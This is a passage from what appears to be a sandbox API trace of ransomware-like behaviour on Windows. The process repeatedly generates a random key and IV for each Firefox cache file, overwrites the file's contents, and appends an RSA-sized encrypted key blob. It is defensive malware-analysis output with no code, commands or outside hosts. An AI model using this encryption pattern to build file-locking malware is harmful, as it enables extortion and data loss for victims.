lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0186.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6948*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6948*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.519] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6948*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6948*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.519] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.519] CloseHandle (hObject=0x1b80) returned 1 [0186.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30efcd0 | out: pbBuffer=0x30efcd0) returned 1 [0186.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.521] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\83D22A1C2D9AD3F12D54C38C877F76181ECE73B1", dwFileAttributes=0x80) returned 1 [0186.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30efdd8 [0186.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.522] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x141e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x141e, lpOverlapped=0x0) returned 1 [0186.575] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.575] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4cb0*, nNumberOfBytesToWrite=0x141e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4cb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x141e, lpOverlapped=0x0) returned 1 [0186.576] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x141e [0186.576] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.576] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30efcd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30efcd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.576] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efcd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efcd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.577] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.577] CloseHandle (hObject=0x1b80) returned 1 [0186.586] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f0b40 | out: pbBuffer=0x30f0b40) returned 1 [0186.586] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.586] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\838A2699F7D6AC832EA18FEB8ED74064E9A1AF7A", dwFileAttributes=0x80) returned 1 [0186.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f1488 [0186.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.586] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xa3e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa3e, lpOverlapped=0x0) returned 1 [0186.733] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2622, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.733] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f42d0*, nNumberOfBytesToWrite=0xa3e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f42d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa3e, lpOverlapped=0x0) returned 1 [0186.733] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa3e [0186.733] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.733] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f0b40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f0b40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.734] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0b40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0b40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.734] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.734] CloseHandle (hObject=0x1b80) returned 1 [0186.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0738 | out: pbBuffer=0x30e0738) returned 1 [0186.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.736] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\830EF7DA0A505480D0919A7D9DC8F36D554F9CF7", dwFileAttributes=0x80) returned 1 [0186.736] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f0e58 [0186.736] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.737] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0186.794] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.794] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f47c0*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f47c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0186.795] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf2d [0186.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0738*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0738*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.795] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0738*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0738*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.796] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.796] CloseHandle (hObject=0x1b80) returned 1 [0186.798] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0186.798] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0186.798] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\829547D629FA0B34042E40EBE97FC63C4697EA33", dwFileAttributes=0x80) returned 1 [0186.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0738 [0186.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.798] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x483c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x483c, lpOverlapped=0x0) returned 1 [0186.821] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.821] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e78a8*, nNumberOfBytesToWrite=0x483c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e78a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x483c, lpOverlapped=0x0) returned 1 [0186.822] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x483c [0186.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.823] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.824] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.824] CloseHandle (hObject=0x1b80) returned 1 [0186.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0186.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0186.826] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8216A5649BBA4864CF37B7367FEC186350C72B87", dwFileAttributes=0x80) returned 1 [0186.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0738 [0186.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.827] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe9d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe9d, lpOverlapped=0x0) returned 1 [0186.912] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.912] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4730*, nNumberOfBytesToWrite=0xe9d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4730*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe9d, lpOverlapped=0x0) returned 1 [0186.913] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe9d [0186.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.913] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.914] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.914] CloseHandle (hObject=0x1b80) returned 1 [0186.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0186.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\81B8DA2D01662466BB100C917F0F5E05E189A2D9", dwFileAttributes=0x80) returned 1 [0186.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df3a0 [0186.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.920] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x10fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x10fe, lpOverlapped=0x0) returned 1 [0186.958] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.958] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4990*, nNumberOfBytesToWrite=0x10fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10fe, lpOverlapped=0x0) returned 1 [0186.959] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10fe [0186.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.959] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.960] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.960] CloseHandle (hObject=0x1b80) returned 1 [0186.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0186.961] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0186.961] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7ED75B3614C7D3EEE86D39A5F382CBE557DA312E", dwFileAttributes=0x80) returned 1 [0186.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0528 [0186.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.962] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x453, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0186.964] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.964] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x453, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0186.965] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x453 [0186.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.965] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.965] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.965] CloseHandle (hObject=0x1b80) returned 1 [0186.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0318 | out: pbBuffer=0x30e0318) returned 1 [0186.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.972] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7E9C60545DC531C765E8BEBC858D9C964D7BC7B6", dwFileAttributes=0x80) returned 1 [0186.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0420 [0186.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.972] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb1e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb1e, lpOverlapped=0x0) returned 1 [0187.005] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2846, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.005] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f43b0*, nNumberOfBytesToWrite=0xb1e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f43b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb1e, lpOverlapped=0x0) returned 1 [0187.006] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb1e [0187.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0318*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0318*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.007] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0318*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0318*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.007] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.007] CloseHandle (hObject=0x1b80) returned 1 [0187.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0187.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0187.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7CF29C4B4F231BB4FBAA944FA47CA2874D0BAFE6", dwFileAttributes=0x80) returned 1 [0187.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0528 [0187.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.010] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0187.024] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.024] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0187.025] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0187.025] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.025] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.025] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.026] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.026] CloseHandle (hObject=0x1b80) returned 1 [0187.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0318 | out: pbBuffer=0x30e0318) returned 1 [0187.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.028] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7BB41A949410BE7EF2685C65391E15BCAFDDF3AA", dwFileAttributes=0x80) returned 1 [0187.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1080 [0187.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.029] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0187.045] SetFilePointer (in: hFile=0x1b80, 